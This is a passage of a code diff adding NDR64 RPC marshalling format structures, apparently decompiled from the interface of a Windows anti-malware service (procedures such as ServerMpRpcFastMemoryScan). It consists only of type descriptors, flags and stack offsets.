(NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag962 +}; + +static const __midl_frag958_t __midl_frag958 = +{ +/* Proc98_ServerMpRpcFastMemoryScan */ + { + /* Proc98_ServerMpRpcFastMemoryScan */ /* procedure Proc98_ServerMpRpcFastMemoryScan */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 44 /* 0x2c */, + (NDR64_UINT32) 84 /* 0x54 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag962, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag60, + { + /* arg_3 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag952_t __midl_frag952 = +{ +/* Struct_2558_t */ + { + /* Struct_2558_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2558_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + } +}; + +static const __midl_frag950_t __midl_frag950 = +{ +/* *Struct_126_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag121 +}; + +static const __midl_frag949_t __midl_frag949 = +{ +/* Proc97_ServerMpRpcFastMemoryScanOpen */ + { + /* Proc97_ServerMpRpcFastMemoryScanOpen */ /* procedure Proc97_ServerMpRpcFastMemoryScanOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 188 /* 0xbc */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag121, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag952, + { + /* arg_2 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1288, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag939_t __midl_frag939 = +{ +/* *Struct_970_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag52 +}; + +static const __midl_frag938_t __midl_frag938 = +{ +/* **Struct_970_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag939 +}; + +static const __midl_frag936_t __midl_frag936 = +{ +/* Proc95_ServerMpRpcMemoryScanQueryNotification */ + { + /* Proc95_ServerMpRpcMemoryScanQueryNotification */ /* procedure Proc95_ServerMpRpcMemoryScanQueryNotification */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag938, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag929_t __midl_frag929 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *Struct_916_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag925 + } +}; + +static const __midl_frag928_t __midl_frag928 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 4 /* 0x4 */ + } +}; + +static const __midl_frag927_t __midl_frag927 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag928 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag926_t __midl_frag926 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ + } +}; + +static const __midl_frag925_t __midl_frag925 = +{ +/* *Struct_916_t */ + { + /* *Struct_916_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* *Struct_916_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag926 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 1 /* 0x1 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag927 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag153 + } +}; + +static const __midl_frag922_t __midl_frag922 = +{ +/* Struct_2408_t */ + { + /* Struct_2408_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2408_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 56 /* 0x38 */, + 0, + 0, + &__midl_frag929, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag921_t __midl_frag921 = +{ +/* *Struct_2408_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag922 +}; + +static const __midl_frag920_t __midl_frag920 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag917_t __midl_frag917 = +{ +/* Struct_2356_t */ + { + /* Struct_2356_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2356_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + 0, + 0, + &__midl_frag920, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag916_t __midl_frag916 = +{ +/* *Struct_2356_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag917 +}; + +static const __midl_frag912_t __midl_frag912 = +{ +/* Struct_2314_t */ + { + /* Struct_2314_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2314_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 80 /* 0x50 */, + 0, + 0, + &__midl_frag920, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag911_t __midl_frag911 = +{ +/* *Struct_2314_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag912 +}; + +static const __midl_frag910_t __midl_frag910 = +{ +/* Struct_2300_t */ + { + /* Struct_2300_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2300_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag909_t __midl_frag909 = +{ +/* *Struct_2300_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag910 +}; + +static const __midl_frag906_t __midl_frag906 = +{ +/* Struct_2270_t */ + { + /* Struct_2270_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2270_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag905_t __midl_frag905 = +{ +/* *Struct_2270_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag906 +}; + +static const __midl_frag904_t __midl_frag904 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag903_t __midl_frag903 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag898_t __midl_frag898 = +{ +/* Struct_2208_t */ + { + /* Struct_2208_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2208_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 160 /* 0xa0 */, + 0, + 0, + &__midl_frag903, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct 